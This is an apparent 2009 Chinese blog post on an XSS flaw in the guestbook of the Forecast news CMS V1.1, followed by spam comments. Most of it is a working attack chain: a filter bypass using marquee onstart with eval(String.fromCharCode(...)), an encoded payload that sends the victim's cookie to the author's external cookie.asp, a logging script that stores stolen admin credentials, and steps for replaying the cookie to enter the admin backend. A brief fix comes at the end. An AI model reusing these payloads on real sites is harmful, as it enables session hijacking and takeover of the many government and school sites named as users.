// by redice 2009年7月23日
// redice@163.com
// http://www.redicecn.cn
// 忠告:心术不正者勿看
一个偶然的机会看到了“沸腾展望(Forecast)新闻多媒体系统”,网上是这样介绍它的。
“一套比较经典的文章/新闻程序,虽然界面上也不是很出众,尽管现在还在采用TABLE布局,也没有生成静态的功能,
但你却可以在很多政府类的站点看到本套系统的身影,虽然不是为政府量身定做的,但是很多政府类网站却在用这套系统,特别是县
乡级一类的政府网站……”。
在Goolge中搜索了一下,使用这个系统的的网站还真不少。以 “V1.1 Access版”为关键字,找到了993,000多条记录,
使用这套系统的网站多为一些培训机构(***驾校,***小学,**交通大学管理学院),政府部门(***地税局,***审计局),
和小公司...总之使用范围很广。
于是在网上下载了一套源代码,研究了一下它的代码,发现留言簿对用户输入数据过滤不够严格,存在XSS漏洞。
在GuestSave.asp文件中,对留言内容的过滤代码如下:
content=trim(htmlencode1((request.form("content"))))
htmlencode1函数定义在char.inc文件中,代码如下:
html字符转换过滤,模式1
function htmlencode1(fString)
if fString<>"" and not isnull(fString) then
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, " ", chr(32))
fString = Replace(fString, "</P><P>", CHR(10) & CHR(10))
fString = Replace(fString, "<BR>", CHR(10))
htmlencode1=fString
else
htmlencode1=""
end if
end function
哈哈,程序员是不是喝醉了,怎么反过来过滤呢?为了防止XSS一般都将尖括号(”>”和”<”)进行转义,如下:
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
看来他真是喝醉了!
在GuestSave.asp中对留言内容还有一次检测,代码如下:
if Instr(request("content"),"西文单引号")>0 or Instr(request("content"),"script")>0 or
Instr(request("content"),"onClick")>0 or Instr(request("content"),"onload")>0 then
Show_Err("对不起,您输入的留言内容包含有非法字符。<br><br><a href=javascript:history.back()>返回</a>")
Response.End
end if
这里只检测了西文单引号,script,onClick,onload 这些常用的XSS关键字。我们就来构造一个不含有这些关键字的XSS字串:
例如:
<marquee onstart=”JS代码” ></marquee>
这是一个滚动的字幕标记。onstart=”JS代码”意思是,当字幕滚动开始时”JS代码”就会被执行。
JS代码我们可以进行挂马,可以盗取Cookie(我不是教你坏!)。
由于GuestSave.asp文件检测了西文单引号,我们要想构造一个不含西文单引号并且能实现挂马或者盗取Cookie功能的代码还是是很困难的,
因为单引号在JS代码中的使用还是很广泛的。看了poruin 博客中的的一篇题为《XSS下的绕过过滤方法》的文章,文中介绍了一种非常好的绕过滤的方法,
“JS还原函数”法。就是利用String.fromCharCode(ASCII码数组)将ASCII码数组转换为字符串,然后利用eval函数执行。
例如:alert(/redice/) 可以改写为:
eval(String.fromCharCode(97,108,101,114,116,40,47,114,101,100,105,99,101,47,41)
说明: /redice/字符串对应的ASCII码数组为
97,108,101,114,116,40,47,114,101,100,105,99,101,47,41 。
顺便写了个小工具专门来做这个字符串到ASCII码数组的转换,如下图所示。
我们测试一下,新建如下的文件test.htm,代码如下:
<marquee onstart="eval(String.fromCharCode(97,108,101,114,116,40,47,114,101,100,105,99,101,47,41))"></marquee>
浏览该页,如下图所示:
通过查看ChkUser.asp的代码可以发现,系统将管理员的用户名和密码都保存在Cookie中了(又在动歪脑筋了…),如下所示为我截取的Cookie:
Forcast2004%2D0001=ViewUrl=%2Fnews%2FSpecial%5FNews%2Easp%3FSpecialID%3D18%2520
and%25201%3D2%2520and%25201%3D2&passwd=db694daaa7d778ba&shenhe=1&fullname=%D0%A1%B7%D1
®level=1&UserEmail=base0321%40163%2Ecom&KEY=super&UserLoginTimes=666&UserName=base&purview=99999
&sex=%CF%C8%C9%FA; ASPSESSIONIDACAAQCSA=CNLFEEODABANIGMOAJEPDCAI
可以看出当前用户名是base,密码是db694daaa7d778ba (MD5 16位)。
正愁XSS没什么用呢,这下可好用来盗取Cookie刚好,呵呵。盗取Cookie的XSS代码可以这样写:
<marquee onstart=window.location.href="http://www.redicecn.cn/cookie.asp?"+document.cookie + window.location.href></marquee>
这段XSS代码的功能就是将当前用户的Cookie以及当前的地址栏URL提交给http://www.redicecn.cn/cookie.asp页面。
我们再将
window.location.href="http://www.redicecn.cn/cookie.asp?"+document.cookie + window.location.href 字符串转换为ASCII码数组,如下:
119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,
119,119,119,46,114,101,100,105,99,101,99,110,46,99,110,47,99,111,111,107,105,101,46,97,115,112,63,34,43,100,111,99,117,
109,101,110,116,46,99,111,111,107,105,101,32,43,32,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,
101,102
这样XSS字符串就可以写成如下的形式:
<marquee onstart="eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,
114,101,102,61,34,104,116,116,112,58,47,47,119,119,119,46,114,101,100,105,99,101,99,110,46,99,110,47,99,111,111,107,105,
101,46,97,115,112,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,32,43,32,119,105,110,100,111,119,46,
108,111,99,97,116,105,111,110,46,104,114,101,102))"></marquee>
服务端cookie.asp代码如下:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cookie.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline "时间:" & now()
thisfile.Writeline "内容:" & msg
thisfile.Writeline vbcrlf & vbcrlf
thisfile.close
set fs = nothing
%>
cookie.asp功能就是将获取到的QueryString写入cookie.txt文件中。当管理员浏览了我们的留言后他的Cookie就会被自动发送给cookie.asp文件,
cookie.asp就收到数据并将它们写入cookie.txt文件中。然后我们修改本地的Cookie(明小子的Domain就可以)就可以绕过系统的身份验证,进入系统后台。
我不是教你坏!我只是提醒程序员朋友在开发项目的过程中要多考虑一下程序的安全性。防止XSS最简单的方法就是过滤掉尖括号(“<”和”>”)。
再写一遍
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
上面这种过滤不适合于多文本编辑器,例如eWebEditor,它会将多文本编辑器产生的正常的HTML标记也过滤了,像这种情况就需要进行更要细致的过滤了…
不写了,一上午啥都没干。
附:字符串到ASCII码数组的小工具
File: Click to Download
本文的DOC版
File: Click to Download
沸腾展望(Forecast)新闻多媒体系统 V1.1 Access版 Build4 XSS漏洞分析
[日志分享]
[日志信息]
该日志于 2009-07-23 11:24 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “沸腾展望(Forecast)新闻多媒体系统 V1.1 Access版 Build4 XSS漏洞分析” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!! (尊重他人劳动,你我共同努力)
呵呵,谢谢
VaTG790i.最好的<a href=http://www.kyfei.com>网站推广软件</a>,
非常好
....................
;ui;普i;uighur;ui;ui;个
在unix网络编程中看到了关于TCP/IP的一些内容,我感觉还是写的不够。正在下载中,一定
下载地址呢